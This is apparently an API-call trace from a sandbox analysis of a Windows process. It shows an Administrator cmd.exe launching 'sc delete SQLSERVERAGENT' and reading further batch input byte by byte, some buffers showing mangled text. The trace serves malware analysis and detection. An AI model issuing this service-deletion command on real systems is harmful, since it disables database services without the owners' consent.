InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.399] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.399] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.399] GetProcessHeap () returned 0x1b0000 [0064.399] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.399] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.400] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.400] GetProcessHeap () returned 0x1b0000 [0064.400] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.400] GetProcessHeap () returned 0x1b0000 [0064.400] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.400] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLSERVERAGENT", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLSERVERAGENT", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete SQLSERVERAGENT", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x918, dwThreadId=0x928)) returned 1 [0064.404] CloseHandle (hObject=0x50) returned 1 [0064.404] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.404] GetProcessHeap () returned 0x1b0000 [0064.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.404] GetEnvironmentStringsW () returned 0x1cba10* [0064.405] GetProcessHeap () returned 0x1b0000 [0064.405] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0064.405] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0064.405] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.405] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.405] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0064.467] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0064.467] CloseHandle (hObject=0x54) returned 1 [0064.468] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0064.468] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0064.468] GetProcessHeap () returned 0x1b0000 [0064.469] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.469] GetEnvironmentStringsW () returned 0x1d1b10* [0064.596] GetProcessHeap () returned 0x1b0000 [0064.596] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0064.596] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.596] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.596] GetProcessHeap () returned 0x1b0000 [0064.596] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0064.596] GetEnvironmentStringsW () returned 0x1cba10* [0064.596] GetProcessHeap () returned 0x1b0000 [0064.596] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0064.596] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0064.596] GetProcessHeap () returned 0x1b0000 [0064.596] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0064.596] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0064.596] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0064.597] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.597] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0064.597] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.597] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0064.597] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.597] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0064.598] GetConsoleOutputCP () returned 0x1b5 [0064.598] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.598] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.598] GetProcessHeap () returned 0x1b0000 [0064.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0064.598] GetProcessHeap () returned 0x1b0000 [0064.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0064.598] GetProcessHeap () returned 0x1b0000 [0064.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0064.598] GetProcessHeap () returned 0x1b0000 [0064.598] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0064.598] GetProcessHeap () returned 0x1b0000 [0064.599] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0064.599] GetProcessHeap () returned 0x1b0000 [0064.599] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0064.599] GetProcessHeap () returned 0x1b0000 [0064.599] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0064.599] GetProcessHeap () returned 0x1b0000 [0064.599] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0064.599] GetProcessHeap () returned 0x1b0000 [0064.599] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0064.599] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0064.599] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.599] GetFileType (hFile=0x120) returned 0x3 [0064.599] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0064.599] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0064.599] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0064.599] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0064.599] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0064.600] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0064.600] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.600] GetFileType (hFile=0x120) returned 0x3 [0064.600] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0064.600] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0064.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.600] GetFileType (hFile=0xb8) returned 0x3 [0064.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLSERVERAGENT\n\nce\n") returned 1 [0064.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.600] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLSERVERAGENT\n\nce\n") returned 1 [0064.600] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.600] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLSERVERAGENT\n\nce\n") returned 1 [0064.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete SQLSERVERAGENT\n\nce\n") returned 1 [0064.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete SQLSERVERAGENT\n\nce\n") returned 1 [0064.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLSERVERAGENT\n\nce\n") returned 1 [0064.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.601] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLSERVERAGENT\n\nce\n") returned 1 [0064.601] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.601] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te SQLSERVERAGENT\n\nce\n") returned 1 [0064.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e SQLSERVERAGENT\n\nce\n") returned 1 [0064.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" SQLSERVERAGENT\n\nce\n") returned 1 [0064.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="SQLSERVERAGENT\n\nce\n") returned 1 [0064.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.602] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="QLSERVERAGENT\n\nce\n") returned 1 [0064.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.602] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="LSERVERAGENT\n\nce\n") returned 1 [0064.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="BERVERAGENT\n\nce\n") returned 1 [0064.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="rRVERAGENT\n\nce\n") returned 1 [0064.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="oVERAGENT\n\nce\n") returned 1 [0064.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.603] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="wERAGENT\n\nce\n") returned 1 [0064.603] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.603] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="sRAGENT\n\nce\n") returned 1 [0064.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 